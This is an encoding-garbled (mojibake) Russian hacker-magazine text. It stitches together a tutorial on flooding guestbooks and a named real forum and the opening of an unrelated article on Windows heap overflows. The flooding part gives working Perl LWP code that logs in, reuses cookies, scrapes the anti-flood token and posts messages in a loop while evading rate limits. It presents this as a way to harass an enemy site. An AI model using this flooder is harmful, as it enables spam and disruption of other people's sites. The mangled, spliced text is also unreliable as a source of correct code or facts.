Òî åñòü, åñëè òû õî÷åøü îñòàâèòü ñâîþ çàïèñü â ÷üåé-íèáóäü ãîñòåâîé
êíèãå, òî ïîî÷åðåäíî îáðàùàåøüñÿ ê ñëåäóþùèì äîêóìåíòàì:
form.html (çàáèâàåì íàøè äàííûå) ! add_mess.php (íàøè äàííûå ïåðå-
äàþòñÿ ñêðèïòó äëÿ çàïèñè â ÁÄ èëè ôàéë) ! index.php (òåïåðü çäåñü
áóäåò îòîáðàæàòüñÿ íàø êîììåíò ê ãîñòåâîé êíèãå).
×òîáû ïîíÿòü, êàêèì îáðàçîì ìîæíî çàñûïàòü ïðèëîæåíèå ëåâûìè
ñîîáùåíèÿìè, äàâàé ïîñìîòðèì, êàê âûãëÿäèò ñòàíäàðòíàÿ ôîðìà
äëÿ îòïðàâêè ñîîáùåíèÿ:Þ
Í

È
Ò

Û

[ñðåäíåñòàòèñòè÷åñêàÿ ôîðìà äëÿ îòïðàâêè ñîîáùåíèÿ]

<form action=script.php method=POST>
Èìÿ:<br>
<input type=text name="your_name" ></><br>
Àäðåñ e-mail:<br>
<input type=text name="email" ></><br>
Òâîé êîììåíòàðèé:<br>
<textarea name="text" rows=10 cols=65 >
</textarea><br><br>
<input type=Submit >
</form>

Êàê òîëüêî òû íàæìåøü íà êíîïêó Submit, äàííûå òóò æå ïåðåäàäóòñÿ ñåð-
âåðíîìó ïðèëîæåíèþ ïðè ïîìîùè POST-çàïðîñà, âíóòðè ñöåíàðèÿ ñîçäà-
äóòñÿ ïåðåìåííûå $_POST[your_name], $_POST[email], $_POST[text] è ýòè
äàííûå çàïèøóòñÿ â áàçó äàííûõ èëè òåêñòîâûé ôàéë.
À òåïåðü ïðåäñòàâü íà ñåêóíäó, ÷òî áóäåò, åñëè íà÷àòü ìåòîäè÷íî íàæèìàòü
ctrl+r, îòïðàâëÿÿ íà ñåðâåð âñå íîâûå è íîâûå ñîîáùåíèÿ, çàïîëíèâ òàêèì
îáðàçîì çà ïàðó ìèíóò ãîñòåâóþ êíèãó äåñÿòêàìè ñîîáùåíèé. ×òîáû íå äî-
ïóñòèòü òàêîãî ïîâîðîòà ñîáûòèé, ñåé÷àñ âñå ñêðèïòû îáîðóäîâàíû òîé èëè
èíîé çàùèòîé îò ôëóäà è òàêàÿ ýëåìåíòàðíàÿ àòàêà íå ïðîõîäèò.
Ñåé÷àñ ìû íàó÷èìñÿ îáõîäèòü íåêîòîðûå çàùèòû è, ñàìîå ãëàâíîå, 
àâòîìàòèçèðóåì ïðîöåññ ôëóäà. Êàê? Êîíå÷íî æå ñ ïîìîùüþ ëþáèìî-
ãî ñêðèïòîâîãî ÿçûêà � Perl.
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Ó÷èìñÿôëóäèòüíåïðèÿòåëüñêèå ôîðóìû

Åñëè äèñê ê æóðíàëó ïîõè-
òèëè èíîïëàíåòÿíå, ïîë-
íóþ âåðñèþ ôëóäåðà êà-
÷àé îòñþäà: http://unix-
forge.org/~sshx/x/xpcom_fo
rum_flooder.txt :).

Íà íàøåì äèñêå ëåæèò
ïîëíàÿ è çàêîí÷åííàÿ
âåðñèÿ forum_flooder'a,
îïèñàííîãî â ýòîé ñòàòüå.

WEB-ííàâîäíåíèå

FLOOD

Íå ñòîèò çàáûâàòü, ÷òî âñå äåéñòâèÿ õàêåðà ïðîòèâîçàêîííû, ïîýòîìó äàííàÿ ñòàòüÿ äàíà ëèøü äëÿ îçíàêîìëåíèÿ è îðãàíèçàöèè ïðàâèëüíîé çàùèòû ñ òâîåé ñòîðîíû.
Çà ïðèìåíåíèå ìàòåðèàëà â íåçàêîííûõ öåëÿõ, àâòîð è ðåäàêöèÿ îòâåòñòâåííîñòè íå íåñóò.



www.linuxsucks.org ìû áóäåì ïèñàòü íàøó ïðîãðàììó. Ñåé÷àñ ÿ ðàññêàæó,
êàê ÿ èçó÷àë ýòîò ôîðóìíûé äâèæîê. Ïåðâûì äåëîì ÿ, êîíå÷íî æå, çàðå-
ãàëñÿ è çàøåë â ðàçäåë discussions. Ñàéò áûë ïîñòðîåí íà php (õîòÿ ôàé-
ëû è áûëè çàìàñêèðîâàíû àïà÷åì ïîä *.html). ß âûáðàë ïðîèçâîëüíûé òî-
ïèê è ñòàë ñìîòðåòü ñîîáùåíèÿ â íåì. Â ñàìîì êîíöå ñïèñêà îòâåòîâ áû-
ëà êíîïî÷êà AddReply. Ïîñëå íàæàòèÿ ìåíÿ ïåðåáðîñèëî ê ôîðìå äëÿ îò-
âåòà íà ïîñò. Íè÷åãî îñîáåííîãî â íåé íå áûëî � ïîëå äëÿ òåìû, òåêñòî-
âîå ïîëå è êíîïêà äëÿ îòïðàâêè Post. ß çàïîëíèë ïîëÿ êàêîé-òî ëàáóäîé 
è íàæàë íà Post, íî òóò íàäïèñü íà êíîïêå èçìåíèëàñü íà ÷òî-òî, âðîäå
«Ïîäîæäèòå. Èäåò îáðàáîòêà» (ñàìà êíîïêà ñòàëà òåïåðü íåàêòèâíîé), 
è ëèøü ïîòîì ìíå âûâåëè íîâóþ ñòðàíèöó è ñîîáùèëè, ÷òî îòâåò óñïåøíî
çàïèñàí. Ìíå ñòàëî èíòåðåñíî, ñìîãó ëè ÿ âåðíóòüñÿ è çàïîñòèòü ñîîáùå-
íèå çàíîâî, ïîýòîìó â áðàóçåðå ÿ ïåðåøåë íà ñòðàíèöó íàçàä. Âñå ïîëÿ
áûëè çàïîëíåíû è íå î÷èñòèëèñü, íî åøå ðàç çàïîñòèòü ýòîò îòâåò ÿ íå ìîã,
ïîòîìó ÷òî êíîïêà Post òàê è îñòàâàëàñü íåàêòèâíîé. Âîò ýòî ïåðâûé âèä
çàùèòû îò ôëóäåðîâ. Òåïåðü ÿ ðåøèë îñòàâèòü åùå îäèí îòâåò, è êàê òîëü-
êî ìíå ñîîáùèëè, ÷òî ñîîáùåíèå äîáàâëåíî, ÿ òóò æå âåðíóëñÿ ê òîìó òî-
ïèêó è îïÿòü íàæàë AddReply è óâèäåë ôîðìó äëÿ îòâåòà. ß áûñòðåíüêî åå
çàïîëíèë è íàæàë Post. Íî òåïåðü íà çàãðóçèâøåéñÿ ñòðàíè÷êå, âìåñòî
îæèäàåìîãî «Îòâåò óñïåøíî çàïèñàí», ïîÿâèëîñü ïðåäóïðåæäåíèå î òîì,
÷òî çàïðåùåíî îñòàâëÿòü áîëåå îäíîãî ñîîáùåíèÿ â ìèíóòó. Êàê âèäèøü,
åùå îäèí ïðèåì çàùèòû îò ïîïàäàíèÿ â ôîðóì âñÿêîãî ìóñîðà. ×òî æ, äëÿ
íà÷àëà íåïëîõî, íî ÿ çíàë, ÷òî â ôîðìå äîëæåí áûë áûòü åùå êàêîé-òî
òðþê, ÷òîá çàùèòèòüñÿ îò ôëóäåðîâ. Òàê è îêàçàëîñü. Åñëè ïðîñìîòðåòü
html-êîä ñòðàíèöû, òî ìîæíî óâèäåòü íåñêîëüêî ñêðûòûõ ïîëåé, â êîòîðûõ
ïåðåäàâàëèñü ïàðàìåòðû, ñðåäè êîòîðûõ áûëè topictitle (íàçâàíèå òåìû),
postid (ID íîìåð òîïèêà) è íåêèé íåèçâåñòíûé ïàðàìåòð token. À âîò íà íåì
ÿ õî÷ó îñòàíîâèòüñÿ ïîïîäðîáíåå. Ëè÷íî ìíå îí íàïîìíèë MD5 õýø: <input
type="hidden" name=token value="95fcc3baff27ce6c2c3e7afd4303b7cb">.
Òàê, ñêîðåå âñåãî, è áûëî (ïðè÷åì ÿ çàìåòèë, ÷òî õýø ãåíåðèðîâàëñÿ êàæ-
äûé ðàç íîâûé è íå îò ÷åãî íå çàâèñåë). Òî åñòü ïðè ãåíåðèðîâàíèè web-ôîð-
ìû äëÿ îòâåòà íà ïîñò â íåå âñòàâëÿåòñÿ ñãåíåðåííûé õýø, 
è êàê òîëüêî ìû æìåì êíîïêó Post, òî ñêðèïò, êîòîðîìó ïåðåäàþòñÿ ïàðàìåò-
ðû, ñðàâíèâàåò çíà÷åíèå, ïåðåäàííîå åìó â $token, ñ òåì, ÷òî áûëî âñòàâëå-
íî â ôîðìó. Åñëè æå çíà÷åíèÿ íå ñîâïàäàþò, òî îòâåò ïðîñòî-íàïðîñòî íå
çàïèñûâàåòñÿ. Íåìíîãî ïî÷åñàâ ðåïó, ÿ ïîíÿë, ÷òî äëÿ ñîçäàíèÿ ôëóäåðà
ïîä ôîðóì, ýòèõ äàííûõ áóäåò ìàëî. Ìíå íóæíî áûëî çíàòü âñå çíà÷åíèÿ (â
òîì ÷èñëå è â ñêðûòûõ ïîëÿõ), êîòîðûå ïåðåäàâàëèñü èç ôîðìû. Äëÿ ýòîãî
ìíå íóæíî áûëî ñîõðàíèòü ôîðìó íà ñåáå íà âèíò è â html-êîäå èñïðàâèòü:

<form onSubmit="submitonce(this)" action="/addReply.html"
method="POST" enctype="multipart/form-data">
íà
<form onSubmit="submitonce(this)"
action="http://www.linuxsucks.org/addReply.html" method="GET" enc-
type="multipart/form-data">

[ñîáèðàåì ïàó÷êà] Äîïóñòèì, òû õîòåë çàïîëíèòü ãîñòåâóõó ñâîåãî
íåäðóãà ñîòíåé-äðóãîé âåñåëûõ è ïîëåçíûõ ñîîáùåíèé. Ðàçóìååòñÿ,
ýòîò ïðîöåññ áûëî áû íåïëîõî ïîñòàâèòü íà êîíâåéåð. Äëÿ ýòîãî íàì
íóæíî íàêîëáàñèòü ïåðëîâûé ñöåíàðèé, êîòîðûé áóäåò ñàì çàõîäèòü íà
ñòðàíèöó è îñòàâëÿòü ñîîáùåíèå. Perl-ñêðèïò ìîæåò ðàáîòàòü ñ web ÷å-
ðåç ñîêåòû, íî íàìíîãî ëåã÷å èñïîëüçîâàòü ñïåöèàëüíî çàòî÷åííûé äëÿ
ýòèõ öåëåé ìîäóëü LWP (library WWW for Perl). Îí äîëæåí áûòü ïðèêðó-
÷åí ê ïåðëó ïî óìîë÷àíèþ. Âîò êàê áóäåò âûãëÿäåòü ïðèìèòèâíûé ôëó-
äåð äëÿ íàøåé ìíîãîñòðàäàëüíîé ãîñòåâîé:

[ïðèìèòèâíûé ôëóäåð]

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;#ýòîò ìîäóëü íàì íåîáõîäèì, ÷òîáû ñîçäàâàòü
«çàïðîñû» âèäà ( ìåòîä=>"óðë" );
$url="www.sobakoff.net/script.php";
$name="Sashiks";#ýòî íàøè äàííûå, êîòîðûå áóäóò îòïðàâëÿòüñÿ
$email="real_sshx@mail.ru";
$text="Ýòî íå ôëóä! ;)";
$opera=LWP::UserAgent->new();#ñîçäàåì íîâûé îáúåêò � áðàóçåð;
$req=new
HTTP::Request(POST=>"$url?your_name=$name&email=$email&text=$t
ext");#ñîçäàåì íîâûé çàïðîñ
$opera ! request($req);#âûïîëíÿåì çàïðîñ, òî åñòü îòïðàâêó äàííûõ
ñêðèïòó
print"Message added!\n';

Ïîñëå çàïóñêà ýòîãî ñêðèïòà â ãåñòå äîëæíà ïîÿâèòüñÿ íàøà çàïèñü.
×òîáû îòïðàâèòü áîëüøå ñîîáùåíèé, ìîæíî ïðîñòî äîáàâèòü öèêë, ãäå
ñ÷åò÷èêîì áóäåò ÷èñëî íåîáõîäèìûõ òåáå ñîîáùåíèé. Ïðàâäà ïðîñòî?
Êñòàòè, â Perl åñòü åøå îäèí ìîäóëü èç ñåìåéñòâà HTTP. Îí ñîçäàí ñïå-
öèàëüíî, åñëè òåáå íóæíî ÷àñòî ðàáîòàòü ñ web-ôîðìàìè. Ïîäêëþ÷àåò-
ñÿ îí òàê: use HTTP::Request::Common, à çàïðîñ èç ïðåäûäóùåãî ïðèìå-
ðà ðåàëèçóåòñÿ ñëåäóþùèì îáðàçîì:

$req=POST('www.sobakoff.net/script.php', [your_name=>'$name',
email=>'$email',   text=>'$text'] );

Çäåñü â êâàäðàòíûõ ñêîáêàõ ìû ïðîñòî ïðèñâîèëè íåîáõîäèìûì ïàðà-
ìåòðàì ñîîòâåòñòâóþùèå çíà÷åíèÿ.

[êîïàåì ãëóáæå] Ðàçîáðàâøèñü ñ îñíîâàìè «çàòîïëåíèÿ» âðàæåñêèõ
ãåñòáóêîâ ìîæíî ïåðåéòè ê áîëåå èíòåðåñíîìó çàíÿòèþ � èçó÷åíèþ ôî-
ðóìîâ è ðàçðàáîòêè ïîëíîöåííîãî àâòîíîìíîãî ôëóäåðà. Ìåæäó ïðî÷èì,
çà ýòî äåëî ÿ âçÿëñÿ íå çðÿ. À âñå ïîòîìó, ÷òî ìîé áðèòàíñêèé äðóã Êàéë
(ôàíàòèê þíèêñîâ), îäíàæäû çàáðåë íà ñàéò www.linuxsucks.org, ãäå åìó
î÷åíü íå ïîíðàâèëîñü òàìîøíåå îòíîøåíèå íàãëûõ áóðæóåâ ê äåòèùó Ëè-
íóñà Òîðâàëüäñà (äà è íèêñàì âîîáùå). Òàê êàê ñàéò ïî ñóòè ïðåäñòàâëÿë
ñîáîé îäèí áîëüøîé ôîðóì, ÿ òóò æå ïîëó÷èë çàäàíèå ñäåëàòü èì êàêóþ-
íèáóäü ïàêîñòü � íàïðèìåð, äî îïóïåíèÿ çàëèòü èõ òîïèêàìè, âðîäå Kill
Bill(Gates) :). Âîò òàêàÿ âîò ïðåëþäèÿ. Òåïåðü íà ïðèìåðå

ÇÀ×ÅÌ ÝÝÒÎ ÍÍÓÆÍÎ?
Â ñàìîì äåëå, êîìó è çà÷åì ìîæåò ïîíàäîáèòüñÿ ôëóäåð? Íó
âî-ïåðâûõ, åãî ìîæíî èñïîëüçîâàòü â êîðûñòíûõ öåëÿõ: ðåêëà-
ìèðîâàòü ÷òî-íèáóäü, ïèàðèòü ñâîé ñàéò, îáëèâàòü ãðÿçüþ ñâî-
åãî äðóãà Ïåòðîâè÷à è òàê äàëåå. Ìîæíî ïðèçíàòüñÿ â ëþáâè,
ïîçäðàâèòü ìàìó ñ äíåì ðîæäåíèÿ, äîâåñòè àäìèíîâ äî áåëîãî
êàëåíèÿ. Íî ñàìîå ãëàâíîå � ïîìíè, ÷òî ãðàìîòíî ðåàëèçî-
âàòü çàùèòó ñî ñâîåé ñòîðîíû, ìîæíî ëèøü ñ ãîëîâîé ïîãðó-
çèâøèñü â ïðîáëåìó íàïàäåíèÿ.

ÇÀÙÈÙÀÉÒÅÑÜ, ÑÑÓÄÀÐÜ!
Ñóùåñòâóþò ìíîãî ñïîñîáîâ çàùèòû web-ïðèëîæåíèé îò ïî-
äîáíîãî ðîäà flood-àòàê. Ýòî è ñêðûòûå òàáëèöû è ãåíåðàöèÿ
ïðîèçâîëüíîãî êîäà â òåëå ñòðàíèöû. Ñþäà òàêæå îòíîñèòñÿ IP
áëîêèðîâêà, øèôðîâàíèå ñ ïîìîùüþ JavaScript. Âîîáùå, ïðè-
ìåðîâ ìíîãî, è âñå îíè çàñëóæèâàþò òâîåãî âíèìàíèÿ. Î÷åíü
ïîäðîáíóþ è èíòåðåñíóþ ñòàòüþ ïî ýòîìó ïîâîäó íàïèñàë Said
â ïîñëåäíåì (¹3) âûïóñêå Mazafaka E-zine. Íàñòîÿòåëüíî ðå-
êîìåíäóþ ïî÷èòàòü ýòîò ìàòåðèàë.

ïðèìåð ôîðìû äëÿ îòïðàâêè êîììåíòàðèåâ â ãîñòåâóþ ôîðìà äëÿ ïîñòèíãà ñîîáùåíèé íà www.linuxsucks.org [X
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Òî åñòü â action ÿ ïðîïèñàë ïîëíûé ïóòü ê ñêðèïòó, à ìåòîä ïåðåäà÷è 
çàìåíèë íà GET. Òåïåðü, íàæàâ íà Post, ñòðàíèöà íà÷íåò ïåðåäàâàòü 
íà ñåðâåð äàííûå, íî òåïåðü ìåòîäîì GET, ïîýòîìó â àäðåñíîé ñòðîêå
áðàóçåðà ÿ ñìîãó óâèäåòü âñå ïàðàìåòðû. Âîò êàê âûãëÿäåëà ýòà ñòðîêà:

www.linuxsucks.org/addReply.html?xtitle=íàçâàíèå_íàøåãî îòâå-
òà&postid=ýòî_íîìåð òîïèêà&topictitle=íàçâàíèå_ñàìîãî_òîïè-
êà&xmsg=íàø_îòâåò&Post=Post&token=ýòî_md5_õýø&mode=Submit.

Ïàðàìåòðû post è mode íå ìåíÿëèñü â çàâèñèìîñòè îò òîïèêà. Òåïåðü,
ïîëó÷èâ âñå íåîáõîäèìûå ñâåäåíèÿ, ÿ óæå ìîã íà÷èíàòü ïèñàòü ôëóäåð.

[ïåðëîâûå çàáàâû] Ïåðåä òåì, êàê ïðèñòóïèòü íåïîñðåäñòâåííî ê
íàïèñàíèþ, íóæíî îïðåäåëèòüñÿ ñ òåì, êàêèå äåéñòâèÿ è â êàêîì ïîðÿä-
êå äîëæíà âûïîëíÿòü íàøà ïðîãðàììà:

1 Àóòåíòèôèêàöèÿ íà ñàéòå (ëîãèí+ïàðîëü)

2 Ïîëó÷åíèå Cookies

3 Ïîëó÷åíèå ñòðàíèöû ñ ôîðìîé (ïàðñèíã ïàðàìåòðîâ)

4 Ñîñòàâëåíèå çàïðîñà (ïëþñ Cookies)

5 Îòïðàâêà çàïðîñà
Ñåé÷àñ ìû ðàçáåðåì êàæäûé ïóíêò. Ïåðâîå, ÷òî íàì íóæíî ñäåëàòü �
ïðîéòè àâòîðèçàöèþ ñ ïîìîùüþ ïàðû «ëîãèí:ïàðîëü». Åñëè ýòîãî íå ñäå-
ëàòü, òî ïðè çàïðîñå ñòðàíèöû ñ ôîðìîé íàñ âñå ðàâíî ïåðåáðîñèò íà ïà-
ãó login.html. Áëàãî àâòîðèçàöèÿ âûïîëíåíà êðàéíå ïðîñòî â âèäå äâóõ ïî-
ëåé, ïîýòîìó, ÷òîáû íàñ âïóñòèëè, äîñòàòî÷íî ïðîäåëàòü ñëåäóþùèå:

$opera=LWP::UserAgent ! new();
$req=new
HTTP::Request(POST=>"http://www.linuxsucks.org/login.html?xlogin=$u
ser&xpassword=$pass");
$response=$opera ! request($req);ß ïîäðàçóìåâàþ, ÷òî þçåð çàðå-
ãàí, è ëîãèí ñ ïàññîì âàëèäíû. Ïîñëå ýòîãî íàì äîëæíû âûäàòüñÿ
êóêè. Íî êàê èõ ñîõðàíèòü äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ? Äëÿ
ýòîãî íàì íóæíî ïîäêëþ÷èòü ìîäóëü use HTT::Cookies. Âîò îñíîâ-
íûå ìåòîäû äëÿ îáúåêòîâ:
$cookie_jar=HTTP::Cookies ! new(); #ìû ñîçäàåì ïñåâäî ÁÄ, ãäå áóäóò
õðàíèòüñÿ ïå÷åíüÿ. Êîäà ñåññèÿ çàêàí÷èâàåòüñÿ, ÁÄ îïóñòîøàåòüñÿ.
$cookie_jar ! extract_cookies($response); #Èç ïîëó÷åííîãî áðàóçå-
ðîì îòâåòà (ñì.âûøå) ìû èçâëåêàåì êóêèñ è êëàäåì åãî â íàøó ÁÄ
$cookie_jar ! add_cookie_header($request); #Ïðèñîåäèíÿåì íàø
ôàéë cookie ê çàïðîñó $request (îá ýòîì äàëåå).

Òî åñòü ïîñëå àâòîðèçàöèè ïðèõîäèò îòâåò ñåðâåðà, â êîòîðîì ìû ïîëó-
÷àåì Cookies. Ýòó êóêó áåðåæíî ñîõðàíÿåì â $cookie_jar, âåäü îíà íàì
ïîçæå ïðèãîäèòñÿ (ê ñëîâó, íàì åå íóæíî öåïëÿòü ê êàæäîìó çàïðîñó). 
À ñåé÷àñ íàì íàäî ïîëó÷èòü hrml-êîä ñòðàíèöû ñ ôîðìîé äëÿ îòâåòà. Äî-
ïóñòèì, åñëè òû õî÷åøü íàâîäíèòü òîïèê ñ ID 1500, òî ýòî áóäåò âûãëÿ-
äåòü ïðèìåðíî òàê:

$req=new
HTTP::Request(GET=>"http://www.linuxsucks.org/addReply.html?postid=
1500");
$cookie_jar ! add_cookie_header($req);# âîò çäåñü ìû ïðèêðåïëÿåì
êóêèñ, êîòîðûé ïîëó÷èëè ïðè àâòîðèçàöèè
$response=$opera ! request($req);
$resp_cont=$response !content;

Ñåé÷àñ â ïåðåìåííîé $resp_cont äîëæíà õðàíèòüñÿ âñÿ ñòðàíèöà ñ ôîð-
ìîé äëÿ ðåïëàÿ. Ìû ïîëó÷èëè åå, ÷òîáû íàéòè ñêðûòûå ïàðàìåòðû òà-
êèå, êàê token è topictitle. Åñëè æå ìû íå óçíàåì èõ çíà÷åíèå, òî íå ñìî-
æåì çàïîñòèòü îòâåò. Ïðîïàðñèâ ñòðàíèöó, ìû ïîëó÷èëè íåîáõîäèìûå
äàííûå, è òåïåðü ãîòîâû îòïðàâèòü çàïðîñ ñ íàøèì îòâåòîì:

$flood_post=new
HTTP::Request(POST=>"$f_url?xtitle=$title&postid=$top_id&topictitle=$t
opic&xmsg=$msg&Post=Post&token=$token&mode=Submit");#ôîðìè-
ðóåì çàïðîñ ñ îòâåòîì
$cookie_jar !add_cookie_header($flood_post);#îïÿòü öåïëÿåì êóêè
$opera !request($flood_post);#âûïîëíÿåì çàïðîñ

Åñëè òû âíèìàòåëüíî ÷èòàåøü ñòàòüþ, ó òåáÿ äîëæåí âîçíèêíóòü âîïðîñ,
÷òî òàêîå $title $msg è ãäå îíè îïðåäåëÿþòñÿ. Âñå ïðåäåëüíî ïðîñòî �
ýòî íàçâàíèå òâîåãî îòâåòà è åãî òåêñò. Îíè íàõîäÿòñÿ íà íàøåì ôëóäå-
ðå, è ÷òîáû èçìåíèòü èõ, âîñïîëüçóéñÿ ëþáûì òåêñòîâûì ðåäàêòîðîì.
Âîò îñíîâíîé òåêñò ïðîãðàììû áåç ôóíêöèé:

auth($auth_url); #ôóíêöèÿ àâòîðèçàöèè
for($n=0;$n<$hmt;$n++){#$hmt � êîëè÷åñòâî ïîñòîâ, êîòîðûå ìû 
õîòèì îòïðàâèòü ( ïî óìîë÷àíèþ 50 )
flood($rep_url); #ôóíêöèÿ äëÿ ïîñòèíãà íàøèõ ôëóäåðñêèõ "îòâåòîâ" 
sleep($def_time);
}

Òû, íàâåðíîå, çàìåòèë, ÷òî â êîíöå öèêëà åñòü çàïèñü sleep($def_time).
Ñåé÷àñ ÿ âñå îáúÿñíþ. Ïîìíèøü, ÿ ãîâîðèë, ÷òî ñêðèïò ðóãíóëñÿ, ÷òî íóæ-
íî ïîäîæäàòü 1 ìèíóòó, êîãäà ÿ ïîïûòàëñÿ îñòàâèòü äâà ïîñòà ïîäðÿä? Òî
åñòü ìåæäó ïîñòàìè äîëæíà áûòü ïàóçà, îïðåäåëåííàÿ â ïåðåìåííîé
$def_time . È õîòü îíà ïî óìîë÷àíèþ ðàâíà 60 ñåê, ìîæåøü ïðîèãðàòü ñ
ýòèì çíà÷åíèåì, ïîòîìó ÷òî ñêðèïò íàãëî âðàë îòíîñèòåëüíî 1 ìèíóòû �
íà ñàìîì äåëå äîñòàòî÷íî 15�20 ñåêóíä (à ìîæåò, è òîãî ìåíüøå).

[the lessons is over. Goodbye!] Íó âîò ñîáñòâåííî è âñå, ÷òî ÿ õîòåë
ñêàçàòü ïî ýòîìó ïîâîäó. Òîëüêî ÷òî ìû ñ òîáîé ðàññìîòðåëè îñíîâíûå
àñïåêòû çàôëóæèâàíèÿ â web è íàïèñàëè ïðîñòåíüêèé àêàäåìè÷íûé
ôëóäåð. Íàäåþñü, òû åãî íå áóäåøü èñïîëüçîâàòü äàæå â îçíàêîìèòåëü-
íûõ öåëÿõ, ïîòîìó ÷òî ñèëüíî ðèñêóåøü ïîïóòíî îçíàêîìèòüñÿ ñ ñîòðóä-
íèêàìè ìåñòíîãî óïðàâëåíèÿ «Êó» :). Ñ÷àñòëèâî

are you gangsters? No, we are russians!

ïðàâèì ñòðàíèöó è âûòÿãèâàåì èç íåå ïàðàìåòðû

èùåì ñêðûòûå ïîëÿ

íàø ôëóäåð â ðàáîòå





[÷òî òàêîå heap] Ïðåæäå âñåãî äàâàé ðàçáåðåìñÿ, ÷òî òàêîå heap. Ëþáîé
øêîëüíèê òåáå ñêàæåò, ÷òî ñ àíãëèéñêîãî ýòî ñëîâî ïåðåâîäèòñÿ êàê «êó÷à».
Â íàøåì æå êîìïüþòåðíîì êîíòåêñòå ñëîâî «heap» îáîçíà÷àåò ñïåöèàëü-
íóþ îáëàñòü çàðåçåðâèðîâàííîãî àäðåñíîãî ïðîñòðàíñòâà, âûäåëåíèå è îñ-
âîáîæäåíèå ïàìÿòè â êîòîðîì ðåàëèçóåòñÿ ïðè ïîìîùè ñïåöèàëüíûõ ñèñ-
òåìíûõ ôóíêöèé. Ïðè ðàáîòå ñ êó÷åé ïðîãðàììèñòàì äîñòóïíî ñîáñòâåííîå
îãðîìíîå âèðòóàëüíîå àäðåñíîå ïðîñòðàíñòâî, ïî åìêîñòè çíà÷èòåëüíî ïðå-
âîñõîäÿùåå îáúåì ðåàëüíîé ôèçè÷åñêîé ïàìÿòè, óñòàíîâëåííîé â êîìïüþ-
òåðå. Âñå îñíîâíûå ôóíêöèè ïî ðàáîòå ñ êó÷åé (âûäåëåíèå, îñâîáîæäåíèå è
ñîçäàíèå áëîêîâ ïàìÿòè) ðàñïîëîæåíû â ñèñòåìíîé áèáëèîòåêå ntdll.dll. Èç-
íà÷àëüíî êàæäîìó ïðèëîæåíèþ â Windows âûäåëÿåòñÿ îäíà ìåãàáàéòíàÿ êó-

÷à, à äàëåå óæå, ïî ìåðå íåîáõîäè-
ìîñòè, îáúåì âûäåëÿåìîé ïàìÿòè
àâòîìàòè÷åñêè óâåëè÷èâàåòñÿ. Â
ñâîþ î÷åðåäü, ïðèëîæåíèå ìîæåò
ñîçäàâàòü ñîáñòâåííîå àäðåñíîå
ïðîñòðàíñòâî ñ ïîìîùüþ ñïåöèàëü-
íûõ ôóíêöèé. Ïàìÿòü â êó÷å âûäåëÿ-
åòñÿ îáëàñòÿìè, ïðè÷åì â êàæäîé îá-
ëàñòè ìîæíî ñîçäàòü áëîêè ïàìÿòè,
êîòîðûå áóäóò ðàñïîëîæåíû â ñåã-
ìåíòàõ. Äëÿ óïðàâëåíèÿ êàæäûì òà-
êèì áëîêîì ñîçäàåòñÿ ñâîé ñïåöè-
àëüíûé çàãîëîâîê, êîòîðûé èçîáðà-
æåí íà ðèñóíêå 1.

Îñíîâû heap-ïåðåïîëíåíèé 
ïîä Windows

Çäåñü Size îáîçíà÷àåò ðàçìåð áëî-
êà, Previous Size � ðàçìåð ïðåäûäó-
ùåãî áëîêà, Segment Index � èíäåêñ
ñåãìåíòà, â êîòîðîì ðàñïîëîæåí
áëîê, Unused � êîëè÷åñòâî íåèñ-
ïîëüçóåìûõ áàéò â áëîêå, Tag Index
� èíäåêñ ìåòêè, à Flags � ôëàã áëî-
êà. Ôëàãè ìîãóò áûòü ñëåäóþùèìè:

0x01 � HEAP_ENTRY_BUSY
0x02 � HEAP_ENTRY_EXTRA_PRESENT
0x04 � HEAP_ENTRY_FILL_PATTERN
0x08 � HEAP_ENTRY_VIRTUAL_ALLOC
0x10 � HEAP_ENTRY_LAST_ENTRY
0x20 � HEAP_ENTRY_SETTABLE_FLAG1
0x40 � HEAP_ENTRY_SETTABLE_FLAG2
0x80 � HEAP_ENTRY_SETTABLE_FLAG3

Ïðè îñâîáîæäåíèè áëîêà ïàìÿòè îí ïðèíèìàåò âèä, èçîáðàæåííûé íà ðèñóíêå 2.
Çäåñü Flink � óêàçàòåëü íà ñëåäóþùèé îñâîáîæäåííûé áëîê, à Blink �
óêàçàòåëü íà ïðåäûäóùèé îñâîáîæäåííûé áëîê.

[äðóãàÿ ðàçìåòêà] Äëÿ óïðîùåíèÿ óïðàâëåíèÿ ñâîáîäíûìè áëîêàìè
èñïîëüçóåòñÿ òàêæå ðàçìåòêà ïî êîëè÷åñòâó åäèíèö âûäåëåíèÿ. Åäèíèöû
ìîæíî âûñ÷èòàòü òàêèì îáðàçîì. Îáúåì êàæäîãî âûäåëÿåìîãî áëîêà ïà-
ìÿòè ðàâåí 8. Ê ïðèìåðó, åñëè ïðèëîæåíèå âûäåëÿåò áëîê ðàçìåðîì â 64
áàéòà, òîãäà åäèíèö àäðåñàöèè ïîëó÷èòñÿ 64/8 = 8. Êàæäàÿ êó÷à ñòàðòóåò
ñî ñòðóêòóðû èç 128 ìàññèâîâ LIST_ENTRY, êîòîðóþ ìîæíî ïîñìîòðåòü âÞ
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ðèñóíîê 1: çàãîëîâîê áëîêà

ðèñóíîê 2: çàãîëîâîê 
ñâîáîäíîãî áëîêà

Íà íàøåì äèñêå òû íàé-
äåøü ïîëíûå âåðñèè ïðîã-
ðàìì, îïèñàííûõ â ýòîé
ñòàòüå, ïîäîïûòíîå ïðèëî-
æåíèå Server.exe äëÿ ýêñ-
ïåðèìåíòîâ è ñïëîèò äëÿ
ïðîãðàììû � â îçíàêîìè-
òåëüíûõ öåëÿõ.

Êó÷à ññ ããîðêîé
ÅÑËÈ ÏÎÐÛÒÜÑß Â ÑÅÒÈ, ÌÎÆÍÎ ÍÀÉÒÈ ÎÃÐÎÌÍÎÅ ÊÎËÈ×ÅÑÒÂÎ ÌÀÒÅÐÈÀËÎÂ, ÎÏÈÑÛÂÀÞÙÈÕ ÐÀÇ-
ËÈ×ÍÛÅ ÌÅÒÎÄÛ ÂÑÅÂÎÇÌÎÆÍÛÕ ÏÅÐÅÏÎËÍÅÍÈÉ. ÏÅÐÅÏÎËÍÅÍÈß Â ÑÒÅÊÅ, BUFFER OVERFLOW, FOR-
MAT STRING � ÂÑÅ ÝÒÎ Â ÄÅÒÀËßÕ ÎÏÈÑÀÍÎ ÍÀ ÌÍÎÃÈÕ ÑÀÉÒÀÕ. ÎÄÍÀÊÎ, ÅÑËÈ ÏÐÈÑÌÎÒÐÅÒÜÑß, ÏÎ×-
